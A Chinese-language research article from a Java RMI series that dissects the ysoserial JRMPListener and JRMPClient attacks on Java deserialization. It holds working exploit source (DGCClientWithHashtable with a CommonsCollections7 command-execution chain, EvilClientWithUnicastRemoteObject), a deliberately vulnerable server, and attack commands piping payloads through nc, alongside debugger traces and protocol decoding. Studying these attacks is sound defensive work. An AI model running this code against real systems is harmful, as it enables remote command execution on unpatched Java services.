标题: Java RMI入门(7)

创建: 2020-04-10 10:18 更新: 2020-04-13 21:42 链接: https://scz.617.cn/network/202004101018.txt

☆ 前言
☆ ysoserial.payloads.JRMPListener+ysoserial.exploit.JRMPClient
    1) VulnerableServer2.java
    2) ysoserial.payloads.JRMPListener
        2.1) 简化版调用关系
    3) ysoserial.exploit.JRMPClient
        3.1) 简化版调用关系(重点看这个)
        3.2) 相关源码
        3.3) 网络通信报文
    4) EvilClientWithUnicastRemoteObject.java
        4.1) UnicastRemoteObjectTest.java
    5) DGCClientWithHashtable.java
    6) 测试
    7) 8u232为什么失败(有白名单检查)
    8) 用DGCClientWithHashtable打常规RMI动态端口
    9) 用DGCClientWithHashtable打常规RMI周知端口
☆ 参考资源

☆ 前言

参看

《Java RMI入门》 https://scz.617.cn/network/202002221000.txt

《Java RMI入门(2)》 https://scz.617.cn/network/202003081810.txt

《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt

《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt

《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt

《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt

《Java RMI入门(8)》 https://scz.617.cn/network/202004141657.txt

《Java RMI入门(9)》 https://scz.617.cn/network/202004161823.txt

☆ ysoserial.payloads.JRMPListener+ysoserial.exploit.JRMPClient

ysoserial.payloads.JRMPListener会产生一种序列化数据，当存在漏洞的目标反序列化它们时，会侦听一个RMI动态端口。"ysoserial/CommonsCollections*"系列产生另一类序列化数据，当存在漏洞的目标反序列化它们时，会执行恶意命令。这么讲你就明白ysoserial.payloads.JRMPListener的地位了。

ysoserial.exploit.JRMPClient可以用来攻击RMI动态端口。从这个意义上讲，二者是一对。但ysoserial.exploit.JRMPClient与ysoserial.payloads.JRMPListener 没有必然联系，ysoserial.exploit.JRMPClient可以攻击任何已经存在的RMI周知端口、动态端口。

ysoserial.payloads.JRMPClient和ysoserial.exploit.JRMPListener是另一对，从名字上看很容易跟前一对搞混，要仔细些。

另一个对比是，ysoserial.exploit.JRMPClient可以打RMI周知端口、动态端口，而 ysoserial.exploit.RMIRegistryExploit只能打RMI周知端口。

1) VulnerableServer2.java

/ * javac -encoding GBK -g VulnerableServer2.java / import java.io.; import java.net.;

public class VulnerableServer2 { public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); InetAddress bindAddr = InetAddress.getByName( addr ); / * https://docs.oracle.com/javase/8/docs/api/java/net/ServerSocket.html / ServerSocket s_listen = new ServerSocket( port, 0, bindAddr ); while ( true ) { Socket s_accept = s_listen.accept(); ObjectInputStream ois = new ObjectInputStream( s_accept.getInputStream() ); Object obj = ois.readObject(); / * 是为了测试ysoserial.payloads.JRMPListener而故意增加的，否则 * 有点古怪。假设没有这句，只能在挂着调试器运行的情况下得手， * 不需要有断点命中，只需要挂着调试器运行即可。难道有什么时间 * 相关的竞争条件问题存在？ / System.in.read(); ois.close(); s_accept.close(); } } }

原本用VulnerableServer.java测试ysoserial.payloads.JRMPListener，发现有古怪。只能在挂着调试器运行VulnerableServer的情况下得手，不需要有断点命中，只需要挂着调试器运行即可。怀疑有时间相关的竞争条件问题存在，未深究。挂着调试器运行VulnerableServer，最大的影响就是执行变缓，基于这种思路，改出 VulnerableServer2.java，通过读stdin产生额外阻塞，果然可以得手。

2) ysoserial.payloads.JRMPListener

参[52]

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/JRMPListener.java

java VulnerableServer2 192.168.65.23 1414

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1314 | nc -n 192.168.65.23 1414

netstat -nltp | grep -E '(1314|1414)'

这个payload并不试图直接执行恶意命令，而是在反序列过程中获得控制，在指定端口上侦听，这个端口的地位相当于RMI动态端口。

本篇改变一下写作风格，先演示公开工具如何使用，再对之调试分析。

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ VulnerableServer2 192.168.65.23 1414

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in sun.rmi.transport.tcp.TCPTransport.listen stop in java.net.ServerSocket.bind(java.net.SocketAddress,int) stop in java.net.AbstractPlainSocketImpl.bind stop in java.net.AbstractPlainSocketImpl.listen monitor wherei

已知有个端口要listen，之前肯定有bind，上面第二个断点是刚开始研究时下的断点，命中后单步跟踪，就找到其他几个关键函数。并不是用jdb调试的，是用Eclipse，但复盘时喜欢用jdb表达式，便于聚焦、描述。

[1] java.net.AbstractPlainSocketImpl.listen (AbstractPlainSocketImpl.java:399), pc = 0 [2] java.net.ServerSocket.bind (ServerSocket.java:391), pc = 140 [3] java.net.ServerSocket. (ServerSocket.java:252), pc = 95 [4] java.net.ServerSocket. (ServerSocket.java:143), pc = 5 [5] sun.rmi.transport.proxy.RMIDirectSocketFactory.createServerSocket (RMIDirectSocketFactory.java:45), pc = 5 [6] sun.rmi.transport.proxy.RMIMasterSocketFactory.createServerSocket (RMIMasterSocketFactory.java:345), pc = 5 [7] sun.rmi.transport.tcp.TCPEndpoint.newServerSocket (TCPEndpoint.java:666), pc = 58 [8] sun.rmi.transport.tcp.TCPTransport.listen (TCPTransport.java:335), pc = 85 [9] sun.rmi.transport.tcp.TCPTransport.exportObject (TCPTransport.java:254), pc = 5 [10] sun.rmi.transport.tcp.TCPEndpoint.exportObject (TCPEndpoint.java:411), pc = 5 [11] sun.rmi.transport.LiveRef.exportObject (LiveRef.java:147), pc = 5 [12] sun.rmi.server.UnicastServerRef.exportObject (UnicastServerRef.java:237), pc = 78 [13] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:383), pc = 19 [14] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:320), pc = 9 [15] java.rmi.server.UnicastRemoteObject.reexport (UnicastRemoteObject.java:266), pc = 19 [16] java.rmi.server.UnicastRemoteObject.readObject (UnicastRemoteObject.java:235), pc = 5 [17] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [18] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [19] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [20] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [21] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [22] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [23] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [24] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [25] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [26] VulnerableServer2.main (VulnerableServer2.java:22), pc = 51

2.1) 简化版调用关系

ObjectInputStream.readObject // 8u232 UnicastRemoteObject.readObject UnicastRemoteObject.reexport UnicastRemoteObject.exportObject // RMI编程时，动态端口部分如果不想"extends UnicastRemoteObject" // 就必须显式UnicastRemoteObject.exportObject() UnicastServerRef.exportObject LiveRef.exportObject TCPEndpoint.exportObject TCPTransport.exportObject TCPTransport.listen // 这个listen()的含义很复杂，不只是TCP层的listen TCPEndpoint.newServerSocket // TCPTransport:335 RMIMasterSocketFactory.createServerSocket RMIDirectSocketFactory.createServerSocket ServerSocket. ServerSocket.bind // ServerSocket:252 // 这个bind()实际包含了bind+listen AbstractPlainSocketImpl.bind // ServerSocket:390 AbstractPlainSocketImpl.listen // ServerSocket:391 new NewThreadAction(new AcceptLoop()) // TCPTransport:341 t.start() // TCPTransport:344 // 单开一个线程去accept()

上述调用关系主要是讲UnicastRemoteObject.exportObject()在干什么。只不过不是显式调用的，而是对ysoserial.payloads.JRMPListener产生的payload反序列化时隐式调用的。简单点说，ysoserial.payloads.JRMPListener得手后侦听RMI动态端口。

3) ysoserial.exploit.JRMPClient

参[52]

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java

java_8_40 \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1314 | nc -n 192.168.65.23 1414

netstat -nltp | grep -E '(1314|1414)'

java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 1314 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here"

如果用8u232跑VulnerableServer2，不会得手。

java_8_40 -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.Runtime.exec(java.lang.String)

[1] java.lang.Runtime.exec (Runtime.java:347), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:497), pc = 56 [6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30 [7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12 [8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18 [9] java.util.AbstractMap.equals (AbstractMap.java:472), pc = 118 [10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12 [11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,221), pc = 55 [12] java.util.Hashtable.readObject (Hashtable.java:1,195), pc = 117 [13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [16] java.lang.reflect.Method.invoke (Method.java:497), pc = 56 [17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,017), pc = 20 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,896), pc = 93 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,801), pc = 181 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,351), pc = 389 [21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:371), pc = 19 [22] sun.rmi.transport.DGCImpl_Skel.dispatch (null), pc = 201 [23] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:410), pc = 100 [24] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:268), pc = 31 [25] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [26] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [27] java.security.AccessController.doPrivileged (native method) [28] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [29] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:568), pc = 185 [30] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:790), pc = 441 [31] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$78 (TCPTransport.java:683), pc = 1 [32] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1.753727528.run (null), pc = 4 [33] java.security.AccessController.doPrivileged (native method) [34] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:682), pc = 58 [35] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,142), pc = 95 [36] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:617), pc = 5 [37] java.lang.Thread.run (Thread.java:745), pc = 11

3.1) 简化版调用关系(重点看这个)

DGC是"Distributed Garbage Collection"的缩写，一种分布式垃圾收集机制。只要侦听RMI周知端口、动态端口，就有DGC在其中出现。

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/TransportConstants.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/tcp/TCPTransport.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/Transport.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/java/rmi/server/UID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/java/rmi/server/ObjID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/server/UnicastServerRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Skel.java

强调一下，这主要是8u40-b26的调用关系，夹杂了一些8u232的变化。

TCPTransport$ConnectionHandler.run0 // 8u40-b26 magic = in.readInt() // TCPTransport:722 // 读"JRMI" version = in.readShort() // TCPTransport:749 // 读0x0002 protocol = in.readByte() // TCPTransport:777 // 读0x4c，SingleOpProtocol TCPTransport.handleMessages // TCPTransport:790 op = in.read() // TCPTransport:550 // 读0x50，Call // 之前都是DataInputStream // 之后都是ObjectInputStream Transport.serviceCall // TCPTransport:568 ObjID.read // Transport:166 // 依次读2、0、0、0 num = in.readLong() // Transport:191 // 读2，ObjID.DGC_ID UID.read // Transport:192 // 依次读0、0、0 unique = in.readInt() // UID:264 time = in.readLong() // UID:265 count = in.readShort() // UID:266 UnicastServerRef.dispatch // Transport:200 num = in.readInt() // UnicastServerRef:265 // 读1，这是op UnicastServerRef.oldDispatch // UnicastServerRef:268 hash = in.readLong() // UnicastServerRef:400 // 读-669196253586618813L DGCImpl_Skel.dispatch // UnicastServerRef:410 // 这次不是RegistryImpl_Skel ObjectInputStream.readObject // case 1流程 // dirty(ObjID[], long, Lease) ObjectInputStream.readOrdinaryObject ObjectInputStream.readClassDesc // 8u40不用看这个流程 ObjectInputStream.readNonProxyDesc ObjectInputStream.filterCheck // 8u232 DGCImpl.checkInput // stop in sun.rmi.transport.DGCImpl.checkInput DGCImpl:409 // 8u232，缺省情况下此处有白名单检查 // 指定-Dsun.rmi.transport.dgcFilter='' // 将通过此处检查 ObjectInputStream.readSerialData Hashtable.readObject // ysoserial/CommonsCollections7 key = s.readObject() // 8u40不用看这个流程 // 假设指定-Dsun.rmi.transport.dgcFilter='' // 8u232不会平安经过此处 LazyMap.readObject ObjectInputStream.readHandle ObjectInputStream.filterCheck // 8u232，ObjectInputStream:1701 // filterCheck(null, -1); // just a check for number of references, depth, no class DGCImpl.checkInput DGCImpl:386 // status = dgcFilter.checkInput(filterInfo) // ObjectInputFilter$Config$Global.checkInput ObjectInputFilter:642 // 8u232，返回UNDECIDED DGCImpl:393 // if (filterInfo.depth() > DGC_MAX_DEPTH) // filterInfo.depth()等于6，DGC_MAX_DEPTH等于5 // 即使指定-Dsun.rmi.transport.dgcFilter='*' // 8u232也无法通过此处检查 DGCImpl:394 // 8u232，返回REJECTED Hashtable.reconstitutionPut // 8u40 AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec

调试分析过程比较枯燥，绝大多数人没必要去纠缠细节，如果想深究，参照上面的框架流程用GUI工具在感兴趣的位置设断，查看调用栈回溯中的各层源码。

流程到达ObjectInputStream.readObject()之前有一堆Header信息需要读，这是一种私有协议。

3.2) 相关源码

找不到8u40-b26的DGCImpl_Skel.java，只好用JD-GUI反编译查看。

/ * sun.rmi.transport.DGCImpl_Skel.dispatch * * 第3形参是op，第4形参是hash / public void dispatch(Remote paramRemote, RemoteCall paramRemoteCall, int paramInt, long paramLong) throws Exception { / * hash必须是这个值 / if (paramLong != -669196253586618813L) { throw new SkeletonMismatchException("interface hash mismatch"); } DGCImpl localDGCImpl = (DGCImpl)paramRemote; ObjID[] arrayOfObjID; long l; Object localObject1; / * op / switch (paramInt) { / * clean(ObjID[], long, VMID, boolean) / case 0: boolean bool; try { ObjectInput localObjectInput2 = paramRemoteCall.getInputStream(); / * 此处应该也可以用于攻击，op等于0的流程 / arrayOfObjID = (ObjID[])localObjectInput2.readObject(); l = localObjectInput2.readLong(); localObject1 = (VMID)localObjectInput2.readObject(); bool = localObjectInput2.readBoolean(); } ... / * dirty(ObjID[], long, Lease) / case 1: try { ObjectInput localObjectInput1 = paramRemoteCall.getInputStream(); / * ysoserial.exploit.JRMPClient至此 / arrayOfObjID = (ObjID[])localObjectInput1.readObject(); l = localObjectInput1.readLong(); localObject1 = (Lease)localObjectInput1.readObject(); } ... default: throw new UnmarshalException("invalid method number"); } }

3.3) 网络通信报文

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.65.23 1314 CommonsCollections7 "/bin/touch /tmp/scz_is_here"

抓包

ysoserial.exploit.JRMPClient.cap

前面0x32字节如下:

0000000: 4a 52 4d 49 00 02 4c 50 ac ed 00 05 77 22 00 00 JRMI..LP....w".. 0000010: 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 ................ 0000020: 00 00 00 00 00 00 00 01 f6 b6 89 8d 8b f2 86 43 ...............C 0000030: 73 72 sr

手工解码如下:

4a 52 4d 49 // magic 00 02 // version 4c // protocol=SingleOpProtocol 50 // op=Call ac ed 00 05 // STREAM_MAGIC(0xaced) STREAM_VERSION(0x5) 77 22 // TC_BLOCKDATA(0x77) Length(0x22) 00 00 00 00 00 00 00 02 // DataOutputStream.writeLong 00 00 00 00 // DataOutputStream.writeInt 00 00 00 00 00 00 00 00 // DataOutputStream.writeLong 00 00 // DataOutputStream.writeShort 00 00 00 01 // DataOutputStream.writeInt f6 b6 89 8d 8b f2 86 43 // DataOutputStream.writeLong // 0xf6b6898d8bf28643(-669196253586618813L) 73 72 // TC_OBJECT(0x73) TC_CLASSDESC(0x72) ...

DataInputStream.write()相当于TCP层裸写，ObjectInputStream.write()则是序列化写。

把[0x8,0x30)的数据截出来，可以用SerializationDumper.jar查看:

java -jar SerializationDumper.jar -r tmp.bin

STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 34 - 0x22 Contents - 0x0000000000000002000000000000000000000000000000000001f6b6898d8bf28643

4) EvilClientWithUnicastRemoteObject.java

对应ysoserial.payloads.JRMPListener

/ * javac -encoding GBK -g -XDignore.symbol.file EvilClientWithUnicastRemoteObject.java * java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314 * * warning: UnicastServerRef is internal proprietary API and may be removed in a future release * * 为了抑制这个编译时警告，Java 8可以指定"-XDignore.symbol.file" / import java.io.; import java.lang.reflect.; import java.net.Socket; import java.rmi.server.RemoteObject; import java.rmi.server.RemoteRef; import java.rmi.server.UnicastRemoteObject; import sun.rmi.server.UnicastServerRef; import sun.reflect.ReflectionFactory;

public class EvilClientWithUnicastRemoteObject { / * 适配YouDebug脚本 / public static Object getObject ( int port ) throws Exception { / * https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html * * Constructor getDeclaredConstructor(Class<?>... parameterTypes) * * RemoteObject是public的，可以直接import，所以不需要Class.forName() * * 也可以用RemoteServer.class.getDeclaredConstructor() / Constructor<?> cons_0 = RemoteObject.class.getDeclaredConstructor( RemoteRef.class ); cons_0.setAccessible( true ); / * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/reflect/ReflectionFactory.java * * public static ReflectionFactory getReflectionFactory() * public Constructor<?> newConstructorForSerialization (Class<?> classToInstantiate, Constructor<?> constructorToCall) * * 这个套路是说，初始化一个UnicastRemoteObject实例，但不要调 * UnicastRemoteObject自己的构造函数，而是调RemoteObject的构造函数。 * 因为UnicastRemoteObject自己的构造函数中会调用 * UnicastRemoteObject.exportObject()，我们不想看到这种局面。 / Constructor<?> cons_1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization ( / * 为什么ysoserial.payloads.JRMPListener要用ActivationGroupImpl， * 没有道理啊，直接用UnicastRemoteObject不是更好？ / UnicastRemoteObject.class, cons_0 ); cons_1.setAccessible( true ); UnicastRemoteObject uro = ( UnicastRemoteObject )cons_1.newInstance ( new UnicastServerRef( port ) ); Field f = UnicastRemoteObject.class.getDeclaredField( "port" ); f.setAccessible( true ); f.set( uro, port ); return( uro ); }

public static void main ( String[] argv ) throws Exception
{
    String              addr        = argv[0];
    int                 port        = Integer.parseInt( argv[1] );
    /*
     * 攻击得手后侦听的动态端口
     */
    int                 newport     = Integer.parseInt( argv[2] );
    Object              obj         = getObject( newport );
    Socket              s_connect   = new Socket( addr, port );
    ObjectOutputStream  oos         = new ObjectOutputStream( s_connect.getOutputStream() );
    oos.writeObject( obj );
    oos.close();
    s_connect.close();
}

}

4.1) UnicastRemoteObjectTest.java

不能用普通的反射方式调用UnicastRemoteObject的构造函数，因为其中会调用 UnicastRemoteObject.exportObject()，直接开始listen()，显然数据准备阶段不想看到这种效果。我们希望看到的是在反序列化阶段触发listen()。

/ * javac -encoding GBK -g -XDignore.symbol.file UnicastRemoteObjectTest.java * java UnicastRemoteObjectTest 1314 / import java.io.; import java.lang.reflect.; import java.rmi.server.UnicastRemoteObject;

public class UnicastRemoteObjectTest { public static Object getObject ( int port ) throws Exception { / * https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html * * Constructor getDeclaredConstructor(Class<?>... parameterTypes) * * UnicastRemoteObject是public的，可以直接import，所以不需要Class.forName() / Constructor<?> cons = UnicastRemoteObject.class.getDeclaredConstructor( int.class ); cons.setAccessible( true ); UnicastRemoteObject uro = ( UnicastRemoteObject )cons.newInstance( port ); return( uro ); }

public static void main ( String[] argv ) throws Exception
{
    int     port    = Integer.parseInt( argv[0] );
    /*
     * 在数据准备阶段直接开始listen()，非期望行为。
     */
    Object  obj     = getObject( port );
    System.in.read();
}

}

java UnicastRemoteObjectTest 1314

netstat -nltp | grep -E '(1314|1414)'

5) DGCClientWithHashtable.java

对应ysoserial.exploit.JRMPClient，使用ysoserial/CommonsCollections7。

/ * javac -encoding GBK -g -XDignore.symbol.file -cp "commons-collections-3.1.jar" DGCClientWithHashtable.java * java -cp "commons-collections-3.1.jar:." DGCClientWithHashtable 192.168.65.23 1314 "/bin/touch /tmp/scz_is_here" * * warning: MarshalOutputStream is internal proprietary API and may be removed in a future release * * 为了抑制这个编译时警告，Java 8可以指定"-XDignore.symbol.file" / import java.io.; import java.util.; import java.lang.reflect.; import java.net.Socket; import sun.rmi.server.MarshalOutputStream; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.; import org.apache.commons.collections.map.LazyMap;

/ * 从LazyMapExecWithHashtable2.java修改而来 / public class DGCClientWithHashtable { @SuppressWarnings("unchecked") public static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); }

private static void WriteHeader ( Socket s ) throws IOException
{
    DataOutputStream    dos = new DataOutputStream( s.getOutputStream() );
    /*
     * "JRMI"
     */
    dos.writeInt( 0x4a524d49 );
    dos.writeShort( 0x0002 );
    /*
     * SingleOpProtocol
     */
    dos.writeByte( 0x4c );
    /*
     * Call
     */
    dos.write( 0x50 );
    /*
     * 如果这里关dos，会把s一并关掉
     *
     * dos.close();
     */
}

private static void WriteBody ( Socket s, Object obj ) throws IOException
{
    /*
     * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/MarshalOutputStream.java
     *
     * 本来应该用sun.rmi.transport.ConnectionOutputStream，但它不是
     * public的，只好用它的父类sun.rmi.server.MarshalOutputStream。
     * 这里不能直接用java.io.ObjectOutputStream。MarshalOutputStream重
     * 载了annotateClass()，而ObjectOutputStream的annotateClass()是个
     * 空函数，啥也没干。MarshalOutputStream重载的annotateProxyClass()
     * 在本例中不会命中。MarshalOutputStream重载的replaceObject()在本
     * 例中不会带来实际区别。
     */
    MarshalOutputStream mos = new MarshalOutputStream( s.getOutputStream() );
    /*
     * ObjID.DGC_ID
     */
    mos.writeLong( 2 );
    /*
     * unique
     */
    mos.writeInt( 0 );
    /*
     * time
     */
    mos.writeLong( 0 );
    /*
     * count
     */
    mos.writeShort( 0 );
    /*
     * op=1
     *
     * dirty(ObjID[], long, Lease)
     */
    mos.writeInt( 1 );
    /*
     * hash
     */
    mos.writeLong( -669196253586618813L );
    mos.writeObject( obj );
    mos.close();
}

public static void main ( String[] argv ) throws Exception
{
    String  addr        = argv[0];
    int     port        = Integer.parseInt( argv[1] );
    String  cmd         = argv[2];
    Object  obj         = getObject( cmd );
    Socket  s_connect   = new Socket( addr, port );
    WriteHeader( s_connect );
    WriteBody( s_connect, obj );
    s_connect.close();
}

}

6) 测试

java_8_40 \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414

java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314

netstat -nltp | grep -E '(1314|1414)'

java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1314 \ "/bin/touch /tmp/scz_is_here"

7) 8u232为什么失败(有白名单检查)

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414

java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314

这一步可以成功，8u232可以得手。

netstat -nltp | grep -E '(1314|1414)'

java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1314 \ "/bin/touch /tmp/scz_is_here"

这一步失败，8u232已经无法得手。

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in sun.rmi.transport.DGCImpl.checkInput stop at sun.rmi.transport.DGCImpl:409

[1] sun.rmi.transport.DGCImpl.checkInput (DGCImpl.java:409), pc = 109 [2] sun.rmi.transport.DGCImpl.access$300 (DGCImpl.java:72), pc = 1 [3] sun.rmi.transport.DGCImpl$2.lambda$run$0 (DGCImpl.java:343), pc = 1 [4] sun.rmi.transport.DGCImpl$2$$Lambda$4.787867107.checkInput (null), pc = 1 [5] java.io.ObjectInputStream.filterCheck (ObjectInputStream.java:1,238), pc = 53 [6] java.io.ObjectInputStream.readNonProxyDesc (ObjectInputStream.java:1,877), pc = 154 [7] java.io.ObjectInputStream.readClassDesc (ObjectInputStream.java:1,750), pc = 86 [8] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,041), pc = 22 [9] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [10] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [11] sun.rmi.transport.DGCImpl_Skel.dispatch (DGCImpl_Skel.java:90), pc = 195 [12] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:469), pc = 137 [13] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:301), pc = 44 [14] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [15] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [16] java.security.AccessController.doPrivileged (native method) [17] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [18] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:573), pc = 185 [19] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:798), pc = 457 [20] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0 (TCPTransport.java:688), pc = 1 [21] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5.764267969.run (null), pc = 4 [22] java.security.AccessController.doPrivileged (native method) [23] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:687), pc = 58 [24] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,149), pc = 95 [25] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:624), pc = 5 [26] java.lang.Thread.run (Thread.java:748), pc = 11

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl.java

